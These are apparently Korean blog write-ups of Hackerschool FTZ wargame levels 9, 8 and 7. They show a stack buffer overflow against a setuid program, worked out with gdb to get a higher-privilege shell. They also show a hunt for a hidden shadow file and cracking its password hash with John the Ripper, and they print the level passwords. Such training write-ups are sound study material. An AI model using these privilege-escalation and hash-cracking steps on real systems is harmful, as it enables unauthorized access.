반응형
반응형


해커스쿨 FTZ [LEVEL9] 풀이


M4ndU




해커스쿨 FTZ [LEVEL9] 풀이입니다.


ID | level9

PW | apple


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level9

level9@192.168.31.128's password:

[level9@ftz level9]$ ls -l

total 12

-rw-r--r--    1 root     root          391 Nov 13  2002 hint

drwxr-xr-x    2 root     level9       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level9       4096 Jan 16  2009 tmp

[level9@ftz level9]$ cat hint



다음은 /usr/bin/bof의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}


이를 이용하여 level10의 권한을 얻어라.



이 문제는 버퍼오버플로우 문제이네요.


buf의 크기는 10인데, 40만큼 입력을 받으면서 버퍼오버플로우 취약점이 생깁니다.


buf2가 먼저 선언되고  그다음 buf가 선언되었으므로 입력값이 buf를 넘어서면 buf2를 침범하게 되겠네요.

이렇게 해서 buf2의 값을 "go"로 바꿔주면 level10의 권한의 쉘을 띄워주는 것 같습니다.


그럼 정확한 buf와 buf2의 위치를 알아 보겠습니다.

힌트에 나온 소스를 복사하여 새롭게 컴파일을 하겠습니다.


[level9@ftz level9]$ cd tmp

[level9@ftz tmp]$ cat > bof.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}

[level9@ftz tmp]$ gcc -o bof bof.c


이제 gdb를 사용해서 분석을 해봅시다.


[level9@ftz tmp]$ gdb -q bof

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048420 <main+0>:    push   ebp

0x08048421 <main+1>:    mov    ebp,esp

0x08048423 <main+3>:    sub    esp,0x28

0x08048426 <main+6>:    and    esp,0xfffffff0

0x08048429 <main+9>:    mov    eax,0x0

0x0804842e <main+14>:   sub    esp,eax

0x08048430 <main+16>:   sub    esp,0xc

0x08048433 <main+19>:   push   0x8048554

0x08048438 <main+24>:   call   0x8048350 <printf>

0x0804843d <main+29>:   add    esp,0x10

0x08048440 <main+32>:   sub    esp,0x4

0x08048443 <main+35>:   push   ds:0x8049698

0x08048449 <main+41>:   push   0x28

0x0804844b <main+43>:   lea    eax,[ebp-40]

0x0804844e <main+46>:   push   eax

0x0804844f <main+47>:   call   0x8048320 <fgets>

0x08048454 <main+52>:   add    esp,0x10

0x08048457 <main+55>:   sub    esp,0x4

0x0804845a <main+58>:   push   0x2

0x0804845c <main+60>:   push   0x804856a

0x08048461 <main+65>:   lea    eax,[ebp-24]

0x08048464 <main+68>:   push   eax

0x08048465 <main+69>:   call   0x8048330 <strncmp>

0x0804846a <main+74>:   add    esp,0x10

0x0804846d <main+77>:   test   eax,eax

0x0804846f <main+79>:   jne    0x80484a6 <main+134>

0x08048471 <main+81>:   sub    esp,0xc

0x08048474 <main+84>:   push   0x804856d

0x08048479 <main+89>:   call   0x8048350 <printf>

0x0804847e <main+94>:   add    esp,0x10

0x08048481 <main+97>:   sub    esp,0x8

---Type <return> to continue, or q <return> to quit---

0x08048484 <main+100>:  push   0xbc2

0x08048489 <main+105>:  push   0xbc2

0x0804848e <main+110>:  call   0x8048360 <setreuid>

0x08048493 <main+115>:  add    esp,0x10

0x08048496 <main+118>:  sub    esp,0xc

0x08048499 <main+121>:  push   0x804857a

0x0804849e <main+126>:  call   0x8048310 <system>

0x080484a3 <main+131>:  add    esp,0x10

0x080484a6 <main+134>:  leave

0x080484a7 <main+135>:  ret

End of assembler dump.



buf 의 시작점은 [ebp-40]

buf2 의 시작점은 [ebp-24] 이네요.

이 둘의 차이가 16이므로 16바이트를 채우면 그 다음 바이트는 buf2의 값이 됩니다.


확인해 보겠습니다.


[level9@ftz tmp]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!


Good Skill!이 출력되는 것으로 보아 buf2의 값이 go 가 되어 조건문이 성립되었다는 것을 알 수 있습니다.

이제 실제 문제를 풀어봅시다.


[level9@ftz tmp]$ cd /usr/bin

[level9@ftz bin]$ ./bof

[level9@ftz bin]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!

[level10@ftz bin]$



성공입니다!


[level10@ftz bin]$ my-pass


Level10 Password is "interesting to hack!".



GAZUAAAAAAAAAAAAAAAAAAAAAAAAA!!




반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL8] 풀이


M4ndU




해커스쿨 FTZ [LEVEL8] 풀이입니다.


ID | level8

PW | break the world


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level8

level8@192.168.31.128's password:

[level8@ftz level8]$ ls -l

total 12

-rw-r-----    1 root     level8        109 Jan 14  2010 hint

drwxr-xr-x    2 root     level8       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level8       4096 Jan 14  2009 tmp

[level8@ftz level8]$ cat hint



level9의 shadow 파일이 서버 어딘가에 숨어있다.

그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.


용량이 2700인 파일을 찾으면 될 것 같다.

find 명령어를 이용해 용량이 2700인 파일을 찾자.


[level8@ftz level8]$ find / -size 2700c 2>/dev/null

/var/www/manual/ssl/ssl_intro_fig2.gif

/etc/rc.d/found.txt

/usr/share/man/man3/IO::Pipe.3pm.gz

/usr/share/man/man3/URI::data.3pm.gz


음.. /etc/rc.d/found.txt 가 수상해보인다.

cat 명령어로 한번 보자.


[level8@ftz level8]$ cat /etc/rc.d/found.txt

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524



뭐가 엄청 나왔다...

일단 level9의 shadow파일인것은 확실하다.


shadow파일에 대해 알아보니 기본 구조가 다음과 같다고 한다:


사용자명:패스워드:패스워드 파일 최종 수정일:패스워드 변경 최소일:패스워드 변경 최대일:패스워드 만료 경고 기간:패스워드 파기 기간: 계정 만료 기간:예약 필드 


그렇다면, 패스워드 부분이 암호화가 되어 있다는 것을 알 수 있다.

이 것은 존 더 리퍼 라는 툴로 복호화가 가능하다고 한다.


위 파일 내용을 윈도우로 가져와서 윈도우용 존 더 리퍼 툴을 사용하여 복호화하면 된다.


apple


가즈아!


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL7] 풀이


M4ndU




해커스쿨 FTZ [LEVEL7] 풀이입니다.


ID | level7

PW | come together


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level7

level7@192.168.31.128's password:

[level7@ftz level7]$ ls -l

total 12

-rw-r--r--    1 root     root          185 Nov 23  2000 hint

drwxr-xr-x    2 root     level7       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level7       4096 Jan  9  2009 tmp

[level7@ftz level7]$ cat hint



/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.


1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.



음... 힌트를 봐도 잘 모르겠습니다..

일단 /bin/level7 명령을 실행해 봅시다.


[level7@ftz level7]$ level7

Insert The Password : hi

cat: /bin/wrong.txt: No such file or directory


/bin/에 있기 때문에 이동하지 않고 바로 level7을 입력해서 사용할 수 있습니다.
비밀번호를 입력하라고 해서 아무 문자나 넣어 보았습니다.
그랬더니 /bin/wrong.txt 가 없다고 뜹니다!

이 오류는 개인이 FTZ 서버를 열어서 하는경우 생기는 것이라고 하네요...
직접 root계정으로 접속하셔서 wrong.txt 를 만들어주어야 한다고 합니다.


정상적인 작동을 한다면 이런 문자가 출력된다고 합니다 :


--_--_- --____- ---_-__ --__-_-


여기서 다시 힌트를 봅시다.


1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.


2진수를 10진수로 바꿀 수 있는가.

-를 1로, _를 0으로 본다면,


--_--_- > 1101101(2) > 109(10)

--____- > 1100001(2) > 97(10)

---_-__ > 1110100(2) > 116(10)

--__-_- > 1100101(2) > 101(10)


109, 97, 116, 101 무엇을 의미하는 것일까요?

잘 생각해보면 ASCII 범위(0~127)의 값인 것을 알 수 있습니다!


109 -> m

97 -> a

116 -> t

101 -> e


mate 라는 문자열이 나옵니다.

다시 level7 명령어를 사용해서 패스워드에 mate를 입력해보겠습니다.


[level7@ftz level7]$ level7

Insert The Password : mate


Congratulation! next password is "break the world".


성공입니다!! 가즈아아아아아아아아아아아아!



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07

+ Recent posts